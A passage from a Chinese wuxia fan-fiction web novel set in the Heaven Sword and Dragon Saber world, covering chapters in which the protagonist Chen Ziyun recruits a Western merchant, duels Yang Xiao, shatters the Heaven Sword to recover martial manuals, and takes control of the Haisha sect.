陈子云正愁手上的倚天剑没有试剑的机会,这些死了都不用埋的沙盗倒是来的凑巧。 当陈子云杀完人,看着无尽的风沙把地上的马尸和人都一点点的吞没,不由得感慨,这西域难怪历朝历代都这么乱,这里简直就是强盗的天堂。 等陈子云一路到了昆仑山下,死在他手里的强盗没有一千也有八百了,甚至在那些江湖人聚集的酒馆里都传出了有沙漠中有妖怪吃人的谣言。 不过想想也对,人们对妖怪的形容,无非就是超越人们常识认知的事物罢了。而陈子云这种连人带马都一起杀的行为,已经完全超出了普通人的认知极限。 不说他们没有见过倚天剑这般的利器,能轻易的切割硕大的马匹。就是他们有了,也不会想到用这样的神兵去对付一批批的马。 而那些突然之间消失在沙海里的强盗,连马匹都没有逃出来,就感觉是被沙漠里的妖怪连人带马一起吞了一般。 也就难怪这沙漠中有了妖怪的留言,越传越邪乎。 不去管这些江湖流言,陈子云正望着连绵不绝的昆仑山出奇,他已经到这里几天了,也去山上找了不少地方。 可昆仑山坐忘峰这个名字,就是他问便了所有人都不知道昆仑山上有这么一个地方。陈子云此时才明白,估计这个名字只是杨逍这个假书生随口杜撰告诉纪晓芙的。 说不定就是昆仑山中的随处可见的一处山峰,而这名字估计也就他们两人知道。 第六十二章 商人赵钱 当然陈子云也想都了一个别的办法,那就是去明教总坛捣乱,逼迫杨逍来找自己。 可若要是为了一个杨逍,让陈子云直接去闯明教的光明顶,那也是划不来的。不说明教的五行旗不能单单算是江湖势力,行事更像是一个军事组织。 机关陷阱更是玩的贼溜,万一一个不小心着了道,那等待陈子云就是几千人的围攻。 陈子云虽然不把一般的江湖人放在眼里,可他也不是神仙,内力跟体力也终究是有限的,就算倚天剑再锋利,也有挥不动手的一刻。 不过好在陈子云也不是很着急,他来西域昆仑还有别的目的,那就是跟这里的行脚商人打听消息。 一方面他是需要几支稳固的商队给自己刚刚圈好的地盘提供一些商品,还有就是向他们打听更西边的一些国家的消息。 元朝的版图最大的时候可是到过地中海的,而那个地方再过去一点就是陈子云最想要的几样东西的发源地了。 虽然这个时代,那几样东西已经很可能传到了南洋,可要是通过这些商队能得到那个原产地的消息,自然是最好的。 在元朝,因为统治区域的无限扩大,最大的好处就是打通了东西方商业的交流,而这些行脚商人,就是传递东西方商品与文化的重要纽带。 陈子云对这些人是相当的客气的,在如此恶劣的社会环境之下,他们竟然有这样的勇气去穿越无尽的大地,往来于东西。 你说他是趋利也好,但是再大的利益放在你的面前,你也需要有足够的勇气敢伸手才行。 而陈子云则是认识了一个号称在地中海里游过泳的色目商人,他嫌弃原来的名字复杂已经不用了,而为了方便与东方沟通,给自己取了一个汉人的名字叫赵钱。 之所以叫这个名字,赵钱有自己是说法:“赵是你们汉人最大的姓,钱是我们商人最大的追求。我要成为天下间最大的商人,所以叫赵钱,天经地义。” 陈子云第一次遇见赵钱,是他正在酒店里买醉,因为他上一次的商队被强盗给袭击了,所有的货物都被抢劫一空,人也被杀了个干净。 他完全是把自己藏在一匹马的肚子下面装死,才躲过了这一劫,可作为一个商人他却失去了一切。 用他自己全部积蓄购买来的西方珍贵的商品,就在快要到目的的时候,顷刻间血本无归。 “那些该死的沙盗,就应该全部被沙漠里的妖怪吃掉。” 陈子云在见到赵钱的时候,他因为没钱付酒店老板的欠债,而被毫不留情的扔出了酒店。 “哼,没有远见卓识的商人,永远都上不了档次。我赵钱,一定会东山再起,到时候我要买下你的酒店。但是我不会辞退你,我要你一辈子为我干活,你也只配干活。” 这中间当然也有些不堪入耳的家乡话,因为陈子云听不懂,所以也不知道具体的意思。 陈子云初见赵钱也没觉得这人有什么特别,只是照例的请他吃了一顿饭,向他打听一些关于最西边的情况。 而在赵钱狼吞虎咽之中,夹杂着几句,诸如“地中海以西”,“也有人想找船出海”这般的词句。 立刻让陈子云知道,这个人有这远超一般商人的见识,而他的对于更西边的野望,说不定就要放在这人身上了。 陈子云从那天起,一连请赵钱喝了半个月的酒,还帮他在昆仑山下最好的酒店里开了最好的房间。 直到有一天向来喜欢在餐前狂饮的赵钱,一改原来的放荡不羁,神色无比认真的看着陈子云说:“白朋友,你的诚意我已经收到了,那么现在你可以说出想从我这里得到的东西了。” 陈子云也放下了酒杯,看了对方一眼,笑着说道:“什么都可以?” “不,我的朋友,我是一个最正直的商人,我追求的利益的互换,当然这利益起码要在可比的范围之内。我赵钱不会因为这半个月的酒店钱而出卖自己的小命,这条小命可是值钱的很。” 赵钱拍了拍自己的胸口,很是自得的说道。 “放心,你的小命再值钱我也不敢兴趣,我要的西边,更西边的东西。” “我知道你的意思,这半个月来虽然你听我讲了很多西方的东西。但是我看得出来,你最在意的东西,是在一个比地中海还要靠西边的地方。” 赵钱皱着眉头思索了片刻继续说道:“可那地方,除了无尽的海洋,难道还有什么别的吗?你要的不会是你们东方传说中海底龙王爷的秘宝吧?” “哈哈哈,龙王爷的宝贝自然是多的,可我要的东西,比那什么定海神针可有用的多了,前提是你能帮我找到那个地方。” “抱歉我的朋友,我虽然能游泳,但是我不能坐船,我一上船就吐个不停,不把肚子里面的胆汁吐干净根本停不下来。 那种感觉,天啊,我的朋友,你是不会能明白的。” 陈子云摇摇头道:“赵钱,你是一个商人,也是一个出色的冒险家,但是这件事情我一定要做。我不管你是自己去,还是找人出海,但凡你能帮我找到这几样东西,我愿意以等量的黄金交换。” “哦,朋友,兄弟,我的白,你确定你说的是黄金,而不是黄铜?” 赵钱那宝蓝色的眼睛,像是要整个从眼眶里跳出来似的。 “没错,就是黄金。” 陈子云从怀里掏出了一张画着几幅图案的上好皮革,递给了赵钱。 “这些东西,看着像是什么粮食的种子,你确定你要的就是这些?而不是稀有的宝石,名贵的奇珍?” “如果你能在那里找到这些珍宝,那都是属于你的,我只需要这些种子。只要你能把这几样东西,不,哪怕是其中一样东西带到我的面前,我不但给你等量的黄金,我还许诺你在东方世界行商畅通无阻。” 陈子云郑重的说道。 “白朋友,我发现你比最擅长欺诈的奸商还可恶,你就是一个引诱人堕落的魔鬼。你知道你刚才的话,对于一个立志要成为天下第一流商人的我,是多么大的诱惑吗?哦,魔鬼!” 赵钱把面前的一大碗酒整个的喝干,然后收起了陈子云给的那副图画,小心的放进自己的胸口。 第六十三章 杨逍现 陈子云很自然的把身上所有的金银都放在了桌上,示意赵钱自己拿,就算他全拿走了也可以。 不过赵钱虽然是个贪心的商人,可同时也是一个知道什么时候该遏制自己贪心的聪明人。 他挑了其中两块最大的金子,又挑选了一些比较零碎的银钱。 “足够了,有了这些本钱,相信我,白朋友,赵钱就又是一个最出色的商人了。他有的是用这些钱,赚来更多钱的办法。 而从今以后,不管赵钱挣到了多少钱,都有你的一半。因为你在一个商人最失意的时候,给了他东山再起的本钱,还有最可贵的友谊。 白朋友,赵钱在这里保证,这将是你这一生做的最划算的一笔生意。 最后,再见了,我的朋友。 愿我能从那不知何处的地方归来,愿我们还能再次相见。” 两只酒碗碰撞在一起,随后他们的主人又各自分散。 赵钱走了,带着陈子云的期望,一路向西。 陈子云也要走了,在昆仑这么些时候,还是没有杨逍的踪迹,他也不打算再等下去了。 可有些时候,事情往往就是这般的神妙,苦苦追寻不得,而当你不经意间转身的时候却发现,你要找的,已经在面前了。 当陈子云从酒店里收拾好行李下楼,一个身穿白色粗布长袍的中年书生正在向掌柜的沽酒。 书生约莫四十来岁年纪,相貌俊雅,只是双眉略向下垂,嘴边露出几条深深皱纹,不免略带衰老凄苦之相。 但他的脸上神色却始终是淡漠的。就算是掌柜的掀开了店里盛着最好的酒的酒缸,随即飘出来磬人心脾的酒香也不能让他有丝毫的动容。 一个喝酒的人,却对酒香无动于衷,这简直就是最不可思议的事情了。 “杨逍。” 陈子云在见到对方的一瞬间就很肯定,这世间没有第二个人能如此人这般摸样,这般神态,这般的功力。 但杨逍却似乎没有听到这声呼唤,只是从掌柜手里接过了打好的酒,自顾自的往外而去。 “你还记得纪晓芙吗?” 陈子云此话一出,刚才还漠然的往外而去的杨逍瞬间回头,神情激动的看向他。 “你是谁?你认识晓芙?” “我是谁不重要,重要的是我想问一句。你堂堂一个光明左使,对一个姑娘做出那种事情,你就没有一丝罪恶吗?你们明教的教义,就是这么指引你们这些教众的。” “住口。” 杨逍厉声喝道。 “看在你认识晓芙的份上,杨某饶你一次,要是你再侮辱本教教义,定杀之。” “杀我,你倒是可以试试看。” 陈子云直接从背后拔出了倚天剑,指着杨逍说道。 “倚天剑,你是峨眉弟子?是了,难怪你认识哓芙。你走吧,我不想跟峨眉弟子动手。” 杨逍几步就出了酒店大门。 “嘿,倒还真像是有几分情意了?难道一个强奸犯也能把自己真的套进去?” 陈子云把倚天剑插回背后的剑匣,抬步跟上。 杨逍当然也发现了跟在自己身后的陈子云,随即加快了脚步。 陈子云同样运起身法,紧跟不舍。 前面的不想被后面的人追到,后面的人又不想被前面的甩下。结果就可想而知,两人的身形越走越快。到后面,几个偶尔过路的路人甚至能看到两人路过后留下的一连串人影。 这场脚力身法的比试,直到杨逍在一座偏僻的山峰下停下,才告一段落。 “不错,年纪轻轻,竟然有如此轻功和内力,难怪峨眉派声望日隆。” 杨逍转过身对陈子云赞道,看他脸上的红色,显然他这一路来也并不轻松。 “杨左使,谁告诉你我是峨眉弟子的?” 陈子云换了一口气说道。 “你手拿倚天剑,怎么会不是峨眉弟子?” “嘿,就是因为我手拿倚天剑才更不可能是峨眉弟子,以灭绝那种性格,怎么可能将这宝剑随便交给一个普通弟子。” “这么说倒也不错,那还请问阁下是谁?你这倚天剑又是从何处得来?找杨某又所谓何事?” “我们并不是朋友,我也不想跟你这样的人交朋友,所以我不需要告诉你我是谁。至于这把倚天剑,是我从灭绝手上抢来的。” “哈哈哈,好个狂妄少年。以灭绝师太的武功造诣,加上这把无坚不摧的倚天剑,这天下间杨某实在想不出谁能从她手中夺剑,除非是武当张真人出手。” 陈子云嘴角一翘,杨逍这话说的其实也不差,不算上自己,这江湖上单打独斗能胜过拿着倚天剑的灭绝师太的,也就张三丰了。 “杨左使既然不信,那何不咱们试试。” 杨逍脸色变的凝重,他当然不会以为这个突然出现的人是无缘无故的找上自己的,而对方刚才施展的那一身轻功也值得他重视,何况对方手里还有一把倚天剑。 “杨左使放心,我们拳脚切磋,不动兵刃便是。” “杨某岂需要你相让,尽管动手便是。” 杨逍虽然忌惮倚天剑,但是心中更有自己的一番傲气。 陈子云本来就是来找杨逍麻烦的,哪里还会跟他客气,直接一指“立冬”,紧跟着“小雪”、“大雪”、“冬至”三指几乎同时弹出。 伴随着这昆仑孤峰上还未未完全融化的积雪,透骨的寒意直刺杨逍的全身。 杨逍也感受到了这几道指风的神异,当下不敢大意,双手在胸前连连挥动,将陈子云弹射过来的几道指劲引到了一边的山石之上。 那山石瞬间被这激烈的指劲给击的碎成了几块,而那些碎石的表面霎时间凝结了一层厚厚的冻霜。 杨逍甩了甩同样被冻的干裂的衣袖,有些不可置信的看向陈子云。 “你这是什么功夫?” 陈子云没有回答,反而是赞叹了一声道:“乾坤大挪移,果然不凡。” 可惜这门功夫修炼的要求实在太高,动不动就要练个十来年,并不具有普世价值,陈子云也就没了去一探光明顶密道的心思。 至于说他自己修炼,陈子云也没有这个打算,他身上的任何一门功夫,都未必就比这乾坤大挪移差,何必舍近求远。 第六十四章 暗中一指 “你到底是谁,竟知我明教最高神功?” “想知道我是谁,先接下我的惊神指再说。” “惊蛰”一指,陈子云直指杨逍眉心。 已经见识过陈子云这诡异神奇的指法,自然不敢大意。只见得他的身体直挺挺往后倒下,却膝不曲,腰不弯,随即身体又突然绷直回正,跟一个僵硬的尸首一般。 杨逍这两下发力好似都不需要脚和腰的转动,简直与一般武学大为迥异。 “好,那就再接我一指。” 陈子云这次攻的是杨逍的腰腹,灼热的指风犹如一道火箭,但凡经过的地方冰雪立时消融。 相比于“惊蛰”的迅捷雷动,这一指“夏至”则完全是刚猛决绝,讲究的是以力压人。 杨逍见指法凶猛不敢硬接,在仓促之间一个侧身,指风擦着他的腰际扫过,顿时一股淡淡的焦味升起。 杨逍不敢低头查看,只是用手在腰间一抹,一股灼热感从手上传来,心下惊叹不已:“这指风竟然差点就点着了他的衣物,要是被直接打中,岂不是要直接点燃他的身体。“ 杨逍打起了十二分的精神,忌惮的盯着陈子云那双白玉无瑕的手,时刻防备从这手指之间有弹出一道指风来。 “杨左使,你这是打算只挨打不还手吗?” 陈子云看着神情紧张的杨逍笑道。 原来杨逍见陈子云的武动即不属于六大派,也不是明教的,更是让他这个自负见过天下武学的明教左使看不出来路。一分神之间犯了大忌,竟然只想着防守,却忘了要进攻。 “哼。” 杨逍冷哼一声,以此来掩饰心中的羞怒,随即一掌拍向陈子云。 这一掌并没有什么奇巧的心思,只是想跟陈子云对上一掌罢了。杨逍想来,这人的指法虽然精妙,但是一看年纪就是刚过二十,一身的内功自然比不得他这个修炼日久的功夫。 而且杨逍自负这些年修炼乾坤大挪移已经入门,一般的内力比拼,用这借力打力的法子更是稳操胜券。 陈子云一看杨逍的出掌方式,他就明白对方想做什么了,随即嘴角一笑同样一掌拍出。 两只手掌在半空中相遇,可本来应该有开山劈石般威力的掌劲,却无声无息的相撞,竟然没有发出半分声响。 原来杨逍是料想陈子云刚才的指力不是霸道绝伦,就是可阳可阴。他心想这样的内力不可硬接,就想着用乾坤大挪移中虚虚空空的巧劲将陈子云的第一波内力移出,等对方的攻击落空,他再还于重击。 而陈子云则是以指力发掌劲,“谷雨”一指虽然没有“惊蛰”那般霸道,但是胜在力道连绵不绝,就如清明之后的细雨,最是适合与人比拼内力。 杨逍一感受到陈子云的内力如此,自然知道自己的打算要落空了,连忙准备调整策略,可不等他反应,却发现陈子云的内力又发生了变化。 不再像刚才那般缠绵,充满生机,而是变的热烈,热到感觉两只手掌的连接处就要着火。 还不等杨逍惊叹,对方的掌力又发生了变化,这次是带着一种萧然的肃杀;最后却又如凌冽的寒冬。 原来陈子云竟然把那二十四节气惊神指的种种变化,完美的运用到了这与杨逍的掌里比拼中来。 此时的杨逍脸色一会儿白,一会儿红,一会儿铁青,一会儿又恢复平静,就是川剧的变脸也没有他这般的快,这般的精彩。 “哈......啊.......” 杨逍终于是再也承受不住陈子云这诡异多变的内力,一口鲜血吐出,整个人颓然倒地。 “你......” 杨逍此时看陈子云不像是在看一个后进晚辈,更像是在看一个不知从哪个坟头里爬出来的早该死去的老怪物。 乾坤大挪移本来就已经是变化多端,以奇诡着称的顶级武学了,可也不可能像陈子云这般将自己的内力弄出如此多的变化,简直是匪疑所思。 陈子云拔出剑匣中的倚天剑,把它架在了杨逍的脖子上。 “你杀了我吧。” 杨逍此时满是颓唐,可似乎神情之中又有些解脱的意味。 “杀你?当然要杀你,这本来就是我此次来昆仑的目的。” 陈子云淡淡的说道。 杨逍似乎已经没有再听陈子云说话,那双有些飘忽的眼睛告诉人们,它的主人似乎在思索,在回忆什么。 不过陈子云此时也懒得管他,稍稍抬起倚天剑就要将这光明左使的英俊头颅割下。 却不防一滴热泪叮咚一声滴在了倚天剑的剑锋之上。 这不由得让陈子云感觉仿佛是晴天听到了一声霹雳,虽然他不耻杨逍强奸犯一般的行为,但也知道此人绝对也不是什么贪生怕死之徒。 这就更让他好奇,这滴热泪到底为何而来。 “哈哈哈,好个光明左使。” 杨逍似乎也从出神的状态中回转了过来,感受到脸颊上的泪痕残余,一阵羞愤,竟然直接自己就往倚天剑的剑锋上撞去。 “你做什么!” 陈子云下意识的收剑,可惜杨逍实在是决绝的很,鲜血已经瞬间染红了他的衣领。 “我杨逍自来快意恩仇,何时惧死?如今即使要死,也绝不受你这小辈羞辱。” 杨逍踉跄的站起身来,指着陈子云喝道。 陈子云看着他那脖子上的伤口,似乎应该是死不了的。一个自己求死的人,再要去杀他,显得倒是自己在成全他了。 可这样的人要是不杀,岂不是又有违自己的初衷。 突然间陈子云脑海里就蹦出了一个叫做不可不戒的和尚摸样。 陈子云嘿嘿一笑,随即收剑出指,一道指风准确的弹在了杨逍的身上,随即转身大笑下山而去。 “杨左使,望你多多约束明教教众,否则白某手中之剑,来日定斩汝项上之头。” ...... 陈子云下了昆仑山,一路东归,在路上又收拢了一些流民。不过这次他除了收留这些人之外,还有意的去搜寻一些人。 比如儒生,这跟那些现在在自己地盘上教小孩子识字的人不同,这些人是真正有学识的人,而不是只是认识一些常用字的扫盲班老师。 要是放在别的时代,这些人唯一的追求就是考试做官,可惜元朝的统治者并不怎么待见这些儒生。 而元朝这个时代可以说是汉朝独尊儒术以来,儒生过的最憋屈的一个时代,甚至可以说是前无古,后无来。 不过也是因此,陈子云并没有废多大功夫,就半劝说半威胁的请来了好几个落魄的儒生。 第六十五章 断倚天 反倒是那些专业的工匠,因为商业的极大发展而变的炙手可热,这就让陈子云花了好些个力气,才算是给自己的地盘找到了几个能当师傅的铁匠、木匠、泥瓦匠。 虽然陈子云肚子里有许多划时代的改进工艺,但是这些工艺靠他一个人是不可能实现的,而有了这些匠人,就有了希望。 陈子云回到自己地盘的第一件事情,就是召集所有人在广场上开会,一方面是介绍新来的人,一方面也是准备开始着手第一次宣讲。 换句话说,就是要开始在自己的地盘上搞精神文明建设了。 这并不是陈子云闲着没事干,而是他清楚,这些他从天南地北找来的人,必须要有一个统一的目标,才能配合他把自己的班子建立起来。 别看现在这些人还很安稳,这一方面是因为他们还念着陈子云收留他们的恩德,另一反面是因为整个地盘还在火热的建设环节,人人都有活干,所以没有闲心去想别的。 可再厚的恩德也会有淡忘的一天,再忙碌的时刻也终究会有过去的时候。到了那个时候,人们心里的野望就会像野草一般疯狂生长。 陈子云也不是要打击这种想过更好日子的期望,相反这是他很愿意看到的一种景象。 但是这种欲望必须要加以正确的引导,否则它就真的会长成野草,只知道吸收养分和破坏土壤,而不会产生任何实际的收益。 所以陈子云才去找了那些儒生,儒家在中国几千年的历史中已经完全证明了,他们在引导民众时出色的表现。 不过陈子云会巧妙的在儒生以后的讲义中,参杂一些他需要的精神建设内容。如果是换一个时代,这些儒生决不可能会同意他这般肆意的篡改先贤的经典。 可是在这个连元朝官方都不认可儒家的时代,他做这件事情的阻力就小的多了。 从此以后,每天早晨起来的大集会,每天劳作之后的座谈会,就成了地盘里的不变的规定。 哦,现在这个地盘也有名字了,就在刚建好的村头,立起了一块高约两丈的石碑,上书“第一示范村”。 精神文明建设已经起步了,那剩下的就是村子里的武力建设了,这自然就要靠从峨眉派那边抢来的倚天剑了。 至于要怎么折断倚天剑,从里面取出九阴真经和降龙十八掌掌法精义,陈子云早有计划。 他当然不会去找那无从着手的冰火岛,从谢逊那里抢了屠龙刀,再来个刀剑相撞。 陈子云首先是让那些负责进山砍柴的村民找了一处足够高的山崖,然后让刚开业的铁匠铺第一炉火就铸造了一个长宽不下三尺的铁立方。 而这铁立方的中间留了一个凹槽,这个凹槽是以倚天剑的剑柄为模型设计的。 当陈子云把倚天剑倒着插入这个凹槽之中,竟然严丝合缝,丝毫不差。 陈子云大大的夸赞了一番铁匠师傅的手艺,随后就让人安排大车将这铁立方拉倒了找好的悬崖之下。 足足五十个青壮,轮流两班倒,日夜不息的费了七天七夜才把这东西运到目的地。 而此时,在这不下百丈的悬崖顶上,正有两位石匠师傅,在指挥刚收的几十个徒弟一起凿山。 没错,他们这些人的工作就是负责从悬崖顶上凿下一块长宽高都不少于三丈的巨石,并让它做自由落体运动。 这就是陈子云的办法,这样重量不下三千吨一块巨石,在自由落体近一百米之后的动能,跟一颗导弹也没有多少差别了。 这样的惊天力量瞬间砸在倚天剑上,别说他是什么玄铁加精金,就算是钻石也要被炸碎。 陈子云现在唯一担心的是,倚天剑里面的那两卷秘籍会不会也同样被摧毁。 半月之后,随着一位石匠师傅的一声大吼,那块半座小山头一般的巨石,从山体里分离而下。 随后就是方圆百里之内都能感受到了震颤,那些不知道是怎么回事的人,更以为是地龙翻身了,吓的到处乱窜。 等灰尘散开了一些,陈子云就迫不及待的来到了巨石的落点,小半个石头已经直接咋进了地里,而旁边的地面也随着这巨大的冲撞塌陷、破裂。 形状有些像是月球上的陨石坑,只是没有那样的威力,但是从原理上讲却没有什么区别。 陈子云在巨石的附近找了一圈,包括巨石本身碎裂开来的裂缝里,他已经没有找到倚天剑的踪迹。 看来还是要那帮石匠继续把这已经碎了一大半的巨石继续凿开。 陈子云吩咐了两位石匠师傅几句,让他们小心开凿,注意可能埋在下面的倚天剑碎片和那有文字记载的绢布。然后就让人通知村里的人,把这里的碎石用大车往村子里搬。 这些都是上好的建筑材料,不管是用来建房子,还是用来铺路,都是好用的,可不能白白的浪费了。 如此又过了半个月,一位石匠师傅拿着碎成了好几段的倚天剑,和分成了十几块的绢布找到了陈子云。 陈子云把倚天剑碎片,随手就丢给了铁匠,让他试着想想办法重铸。然后就有些迫不及待的将手上的绢布进行拼装。 可惜拼是让陈子云给拼出来了,可里面的内容不是缺失了,就是字迹模糊不清了。九阴真经最着名的九阴白骨爪没了,白蟒鞭法到是还在。 而降龙十八掌大部分也不全了,完整的也就三四掌。 陈子云不由得为自己的鲁莽行径暗叹可惜,可他终究是不后悔的,真的让他等个十几年,等谢逊归来,那时候黄花菜都凉了。 有一点算一点吧,只要能给村子里的人练出些名堂就行。而且这两门功夫本来就是顶级的武学,一般人也没有那种资质跟毅力练到高深处。 有了九阴真经跟降龙十八掌的残片,陈子云第二天就在早上的大集会中宣布了这个好消息。 一些年纪不大,身子骨又适合练武的孩子立刻被筛选了出来。 女的先从九阴真经开始练起,男的就先学降龙第一掌。 当然现在村子里并没有能教武功的先生存在,所以只能是陈子云自己动手。不过话说回来,就算是有人能教,陈子云也不会把这件事情假手于人。 第六十六章 收服海沙派 这些练武的孩子,将来必然是要加入借刀盟的,陈子云不但是要教他们武功,也必须灌输给他们借刀盟的理念。 要不然到时候真的教出个几个令狐冲来,天天跟自己对着干,那可就是真的费力不讨好了。 好在这些孩子经过这几个月的教育,不管是心智上,还是身体上都有了明显的改善。 对于这次难得的机会也很是看重,都不要命的努力练功,根本不需要陈子云这个师傅督促。 还是好几次陈子云发现,有几个练降龙掌的男孩子,生生把自己练的都吐血了,才严令他们不得随便给自己加练,必须按照他的安排来,否则就取消他们练武的资格。 如此又过了几个月,等练武的弟子都有了一定的基础,陈子云又一个人出发了。这次他一路南下,他的目标是扎根在东南沿海的一个帮派——海沙派。 一个由贩私盐的盐枭组成的帮派,按照法律来讲,就是陈子云把这个帮派上下都屠干净了也算是替天行道。 不过陈子云当然不会这么干,他也不是闲的无聊,来这里行侠仗义的。他的目的很简单,就是要借用海沙帮在沿海的势力,组建一个船队,去南洋寻找那几样东西。 相比于托付给赵钱的任务,南洋相对而言就简单的多了,起码这里的航线并不会让人九死一生。不过也相对的,那些东西在南洋的概率也小的多,不过总要先试试。 到了海沙派之后,陈子云也没有废话,先把帮派里姓元的掌权派都杀了个干净,因为这些人很可能就是上一代的总舵主元广波同一族的人。 这些人的存在会严重影响陈子云对这个帮派的控制力度,自然就被毫不留情的抹去。 不过陈子云也没有取而代之的意思,一方面他是真的看不上这种做生意多过跑江湖的三流门派。还有就是他也没有这个心思去处理,接手这个帮派后内部错综复杂的利益纠葛。 陈子云的做法很简单,他把这个帮派原来的第三把手给抬成了总舵主,因为这样一来,这里本来的二把手肯定会不乐意。 就算暂时屈服于陈子云的威势,也肯定不会真的甘心屈服于自己以前的属下。 这样一来,陈子云就不用担心,那个新上位的老三,会在自己不在的时候,急着找自己的麻烦,因为他先要面对的是自己以前的二哥的麻烦。 跟出航的船老大交代了自己要找的东西,目送三搜海沙帮最大的海船出航,陈子云心里默默的许愿。 不为自己的义气,不为自己跟张三丰的赌约,但愿这个时代的百姓有这个福气,哪怕是带回图册上的一种粮食的种子,也足够这万万黎民糊口了。 “恩主,您派这些人去找那个什么南洋的地方,是为了那里的宝藏吗?其实只要凭借恩主的功夫,打通东南沿海跟内地的商道,这钱财自然是滚滚而来。” 这就是陈子云刚扶起来的那个老三,好像是姓王来着。 “钱财,你觉得我会缺这些东西吗?” “呃,是是是,是小人该死,以恩主的本事,这些黄白之物自然是挥挥手就会送上门来。” 这姓王的把头低的都快跟腰平齐了。 “也不是你的错,以己度人本来就是人类共有的通病,因为你的眼界只到这个份上,就好比你现在的摸样,自然看不见你头顶的朝阳。” 陈子云看着那个弯着腰,却也同样忍的浑身颤抖的身体,可他终究是不敢抬头看自己一眼。 “你是不是觉得我是一个杀人不眨眼的魔头,就如我刚才在你们那里大开杀戒那样。” “这是从何说起,恩主杀了那些姓元的,本来就不是什么好人,该杀,杀的好。” “哦,真的该杀,说个理由给我听。” “他们......他们仗着老舵主的名头欺男霸女,在沿海一代无恶不作,简直是人神共愤。该死,该死。” “哦,真的是如此吗?” “小人怎敢期满恩主,若有半句,不,若果有一个字的谎言,天打雷劈,不得好死。” “呵呵呵呵,没那么严重。那你觉得,那位姓杜的二舵主是不是也该死?” 陈子云饶有兴趣的问道。 “二......舵主,这个......一切但凭恩主的意思,恩主说他该死,杜老二就该杀。” “哈哈哈哈,好,我果然没看错你,你是个听话的,也是个懂事的。” “是是是,王老三能有今天都是恩主赏赐的,恩主说什么,老三自然就做什么。恩主你让我往西,我绝不会看一眼东边的太阳;恩主让我吃饭,我一天绝不会喝一口水。” 陈子云看着头已经快弯到地上的王老三,一时也不多要说些什么,只得犒劳一般的拍拍他的肩膀,以示认可。 “汪汪汪.....汪汪。” 王老三温顺的学起了狗叫。 这突来的变化,却是让陈子云的手怎么也落不下去了。他本来只是想找个听话的,好控制一些的人来执行自己的计划,没想到这个王老三竟然执行的这么彻底。 当真是见的人多了,什么样的货色都有可能遇见啊。 陈子云在海沙帮一待就是三个月,等基本帮这位王老三基本坐稳了这总舵主的位置,他才动身。 上次来汉水,还不过是四月份的时候,如今却已经过了立冬,说不定再过几日,这里就要见到雪了。 陈子云在汉水两岸来回的游荡,目的当然还是为了搜寻那位上次寻而不得的周芷若。 这个时候的汉水,水上打鱼的人家也少了,如果不是想乘着太阳当头的正午撒几次渔网,很少会有人冒着如此的寒意出门来。 看着停泊在岸边上的那些渔船,都已经放下了布帘子,为的就是挡住水面上永远不会停歇的寒风。 冬天,是这些船上人家最难熬的季节。 “有鱼货吗,小鱼小虾也行。” 这是陈子云一家家询问渔获,实际上是找人时的说辞。 大部分的船家已经没有了,船上唯一剩下的就是被他们自己晒了用来作为过冬食量的鱼干。 这些东西他们是不会卖的,因为这是他们对抗这个冬季的唯一指望。 第六十七章 汉水寻人 有些冒着寒冷打了几网兜鱼的渔船,陈子云就会摆出一副挑挑选选的模样,在对方彻底不耐烦之前,他会选一两条比较顺眼的鱼买了,然后找个没人的地方放生。 当然如果是刚好到了饭点,那这些小东西就不会那么走运了,找一家附近的小酒店,让厨房代为加工,直接上桌。 陈子云在汉水之畔,一待又是半个月,直到有一天他早上起来推开窗户发现外面已经是白皑皑的一片。 “还真下雪了啊!” 陈子云问小二要了一盆热水,舒畅的洗漱了一番,又在大厅中享用了早餐。今天与以往不同,大厅的中央已经放置了一个大大的火盆,里面的几根大柴烧的火红。 有几个看上去像是商人的摸样的男子,正围坐在火盆旁边,看他们衣服上还在冒着雪水融化后的水汽,知道这些人怕是连夜赶路来的这里。 陈子云问店家要了一把伞,就冒着这小雪的天气出了门。尽管店家再三的劝说,陈子云穿的如此单薄,这样的天气还是不要出门的好。 最少也应该去成衣铺子里买一身厚实一些的衣物穿着再出去,他们小店正好与城里的成衣铺子相熟,可以帮着跑腿买,还不收跑的费用。 陈子云笑着跟掌柜的抬了抬手,就自顾自的往门外去了。 目的地自然还是汉水之畔,只是这次的目的不单单只是为了找人了,陈子云看着这漫天的雪,不知为何心里总有种说不出的畅快。 可这畅快似乎还只到自己的喉头,一下子还不能喊叫出来,非要找个能激发这一畅快的地方不可。 千里汉水,还未因这一场小雪而结冰,不过那本来应该崩腾不息的江水,却似乎变的凝稠了,变的沉甸甸的。似乎就是一江的水银直接压在了这汉水的河床上,也不再流淌。 对岸的山在苍黑的天色映衬下显得低矮,而山头沉积了一晚的雪,像是把山又截去了半截。 好似这一场雪,把这河水压的沉默了,山也不再威武。而那低矮的云,似乎是这天也要压下来了。 陈子云伫立在岸边,没有如往常一般去游走,去寻找,就那么静静的站着。他的目光渐渐没有了焦距,似乎是在看远处的山,又好像是在瞧近处的水,或者是在望天上的云。 山,水、天三者仿佛就是一副静谧的画,而站在这三者之间的陈子云就是闯入这画里的人物。 然而,不知道什么时候,也不知道为何,这本来静默着的画突然活了。不是陈子云动了,而是他手上的伞动了,斜斜的从他手腕上掉落下来。 然后便消失了,消失的不是掉落的伞,而是那个本来应该拿着伞的陈子云。 然后又出现了,出现的也不是已经消失的陈子云,而是一道惊破天的的红芒。那红芒在这乌沉沉的天地之间,冲天而上,随即又一闪而逝。 等这红芒跌落,落到了一只如玉的手掌之中,又被仔细的收回到袖中。 伞不再掉落,同样被一只手抓住了伞柄,重新回到了那人的头上,继续为他遮着雪。 陈子云的手从伞下伸出,他在接着天上掉落的雪。这本没有什么稀奇,稀奇的是这落在他手中的雪花却没有一片被他的体温融化的。 而更为奇异的是,不知道什么时候开始,这往他手掌中飘落的雪花好像都是一对一对的来,就像是两个双生子一般。 摊开在他的掌心里,细看这些雪花,左右两片竟然是一模一样,仿佛就像是被什么东西从中间分毫不差的劈开似的。 “探花郎啊探花郎,终于算是让我摸到你这飞刀的些许精妙了。” 原来刚才陈子云沉浸在这天地静谧之中,竟然机缘巧合的体会到了一些小李飞刀的意境,所以才有了刚才那犹如惊鸿的飞天一刀。 陈子云也终于把堵在喉头的那口畅快给吐了出来,大笑一声,笑声震得地上的雪花也跟着跳跃伴舞。 他脚步轻快的往酒店走,好像在领悟了那小李飞刀的精华之后,连带着那李探花的酒瘾也一起带过来了,现在他恨不得能对着酒缸子豪饮三天。 “大老爷,求求你,施舍一点柴火给我吧,我可以用我自己晒的咸鱼换,求求你了。” 一个稚嫩的女童在酒店的门口哀求着。 